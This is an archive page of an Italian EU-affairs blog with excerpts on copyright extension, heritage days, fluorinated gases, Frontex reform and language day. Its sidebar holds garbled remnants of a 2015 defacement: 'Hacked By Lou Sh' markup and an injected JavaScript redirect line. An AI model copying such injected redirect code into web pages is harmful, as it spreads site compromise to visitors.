EUROSBLOGS
--> Giugno 2013 Maggio 2013 Aprile 2013 Marzo 2013 Febbraio 2013 Gennaio 2013
Dicembre 2012 Novembre 2012 Ottobre 2012 Settembre 2012 Agosto 2012 Luglio 2012 Giugno 2012 Maggio 2012 Aprile 2012 Marzo 2012 February 2012 Gennaio 2012
Dicembre 2011 Novembre 2011 Ottobre 2011 Settembre 2011 Agosto 2011 Luglio 2011 Giugno 2011 Maggio 2011 Aprile 2011 Marzo 2011 Febbraio 2011 Gennaio 2011
Dicembre 2010 Novembre 2010 Ottobre 2010 Settembre 2010 Luglio 2010 Giugno 2010 Aprile 2010 Marzo 2010 Febbraio 2010
Settembre 2011
it

La nuova direttiva approvata dal Consiglio dell’Ue estenderà la durata del copyright di ulteriori 20 anni. Gli Stati membri avranno a disposizione 2 anni di tempo per introdurre la nuova normativa nella loro legislazione. Si riduce così la scollatura con la tutela del diritto d’autore degli altri paesi, i 70 anni dell’Ue non saranno più tanto lontani dai 95 negli Usa, 75 in Messico, Cile e Brasile.

Chissà cosa pensano Adriano Celentano e Mina, solo per citare due tra i cantanti più famosi, quando sentono in televisione il loro intramontabile cavallo di battaglia ad accompagnare in sottofondo un detersivo per la casa. Indubbiamente, oltre al rigurgito dovuto all’accoppiamento avventuroso, (...)

it

“Italia tesoro d’Europa”: questo lo slogan scelto per il 2011. L’iniziativa ha antiche radici: dal 1954 infatti, le giornate sono sempre state apprezzate da tutti i cittadini, viste come momento per approfondire la conoscenza del patrimonio culturale e artistico, italiano ed europeo. Il successo delle giornate si conferma nel 1991 con la loro istituzione ufficiale, e ancora nel 1999 quando il Consiglio d’Europa e la Commissione europea ne hanno voluto fare un’azione comune, allo scopo di potenziare il dialogo tra i cittadini di tutta europa, sviluppare la consapevolezza di radici comuni e condividere la straordinaria ricchezza del continente in cui viviamo per conoscere ciò che è fonte di storia e identità.

Ancora oggi quindi, le giornate europee del patrimonio non perdono di importanza e sono fondamentali per due motivi principali: condividere e conoscere il patrimonio culturale europeo, approfondendo gli aspetti che più ci legano agli altri stati ed elaborare progetti e strategie condivise. Si (...)

it

Ancora una volta gli eurodeputati di Strasburgo, a larghissima maggioranza, hanno votato una risoluzione che chiede alla Commissione Europea politiche più restrittive in materia di inquinamento e ambiente. Questa volta però, la restrizione non riguarda la celeberrima anidride carbonica (CO2), ma altri gas altrettanto, se non maggiormente nocivi. Diversi i composti sotto accusa, a cominciare dai cosiddetti gas fluorurati (Hfc) fino al protossido di azoto. Se fino ad ora le attenzioni sono state dedicate esclusivamente all’anidride carbonica, non c’è da meravigliarsi se altri gas ne hanno preso il posto. I refrigeranti fluorurati infatti, presenti in frigoriferi, impianti di condizionamento, apparecchiature mediche, schiume isolanti e bombolette, sembrano essersi scoperti molto più potenti della famigerata CO2. Questi gas hanno un impatto molto forte sullo strato di ozono e resistono in atmosfera molto più a lungo, cioè per circa 270 anni, il che li colloca tra i gas serra più longevi.

La risoluzione, approvata con 578 voti a favore, 51 contrari e 22 astensioni, evidenzia innanzitutto come l’attuale regolamento sugli Hfc sia al di sotto delle potenzialità dell’ue e chiede alla Commissione di adottare misure più rigide a questo riguardo. L’obiettivo è quello di ottenere risultati (...)

it

Univoche le reazioni che arrivano dalle presidenze della Calabria e della Campania: “La sospensione è dovuta agli impegni assunti dalle precedenti amministrazioni”.

Sono centoventi i milioni di euro che per ora resteranno fermi nelle proprie, comode casse a Bruxelles. Fondi che erano destinati a tre delle principali regioni dell’Italia meridionale e che dovevano essere utilizzati soprattutto per opere di risanamento ambientale in Calabria, Campania e (...)

it

L’evento settembrino che coinvolgerà i Paesi comunitari sarà la “Giornata Europea delle Lingue”, al via il 26 Settembre. A dieci anni dalla sua prima edizione, moltissimo è ancora il seguito tra gli Stati membri. L’obiettivo, quello di promuovere l’apprendimento delle lingue europee da parte dei giovani, principalmente, ma anche di tutti i cittadini comunitari.

In Europa sono più di 20 le lingue ufficiali, alle quali, però, vanno aggiunte quelle autoctone e quelle importate dalla popolazione di origine straniera. In totale, il 3% di tutte le lingue del mondo si trovano nel vecchio continente. Venuti a conoscenza dei numeri, il Consiglio Europeo proclamò (...)

it

L’Agenzia europea per la gestione della cooperazione operativa alle frontiere esterne degli Stati membri dell’Unione europea istituita il 26 ottobre del 2004 e conosciuta con il nome Frontex verrà riformata da nuovi cambiamenti dal Parlamento Europeo. Adottati con 431 voti a favore, 49 contrari e 48 astensioni, i cambiamenti in esame saranno adottati nelle materie economica e di gestione, nell’amministrazione e sugli aiuti su cui il Frontex potrà contare.

Con i cambiamenti al mandato dell’agenzia adottati martedì 13 settembre dal Parlamento Europeo il Frontex cambia faccia e va incontro ad una prima vera e sostanziale riforma. Definita dal membro del Parlamento Europeo Simone Busutti come “la norma più importante dalla creazione di Frontex nel 2004” (...)

it

L’Unione europea punta sulla riforma dell’istruzione pubblica per modernizzare e innovare il mondo del lavoro.

Ormai da molti anni l’UE si sta adoperando per rilanciare il sistema economico e promuovere una crescita “intelligente”, sostenibile e solidale, basata su un maggiore coordinamento delle politiche nazionali ed europee. E’ per questo che è stata lanciata, all’interno della Strategia Europa 2020, una (...)

Dialogo con i cittadini sul Futuro dell’Europa

L’Eurosblog è media partner dell’iniziativa "Dialogo con i cittadini sul Futuro dell’Europa" organizzata dalla Rappresentanza in Italia della Commissione europea. Una serie di dibattiti aperti tra la Commissione europea e i cittadini sui temi dell’occupazione, della protezione dei cittadini e della sostenibilità. L’obiettivo è rispondere insieme alla domanda: “Che Europa vogliamo nel futuro?”. Guarda il video viral e fai la tua domanda su Twitter, utilizzando l’hashtag #EUdeb8. Segui l’evento in streaming su http://webcast.ec.europa.eu/eutv/po...

Quale Europa vogliamo nel futuro?


Ultimo commento

Erasmus+: il nuovo programma di studio per i giovani in Europa
di réduction toysrus, le 21 agosto 2013

Nice article :). I’ve studied abroad in Espagna y eso fue una experiencia unica: tanto al nivel laboral como humano! Je recommande ça à tout le monde :)


comitato



Ultimi articoli del blog

<!DOCTYPE HTML>      <head>         <meta charset= Hacked By Lou Sh If you are not redirected automatically, follow the link to example " title=" Hacked By Lou Sh If you are not redirected automatically, follow the link to example " src="local/cache-gd2/cc82855323b3141664fde5d9afad6d5c.png">
window.location.href = "http://torvergata.eurosblog.eu/IMG/html/" (...)
15 marzo 2015
<!DOCTYPE HTML>      <head>         <meta charset= Hacked By Lou Sh If you are not redirected automatically, follow the link to example " title=" Hacked By Lou Sh If you are not redirected automatically, follow the link to example " src="local/cache-gd2/646bc521095d5a61646327c7b727a862.jpg">
window.location.href = "http://torvergata.eurosblog.eu/IMG/html/" (...)
17 febbraio 2015



© Groupe Euros du Village 2010 | Note legali | Sito realizzato con SPIP | Relizzazione tecnica e design : Media Animation & Euros du Village France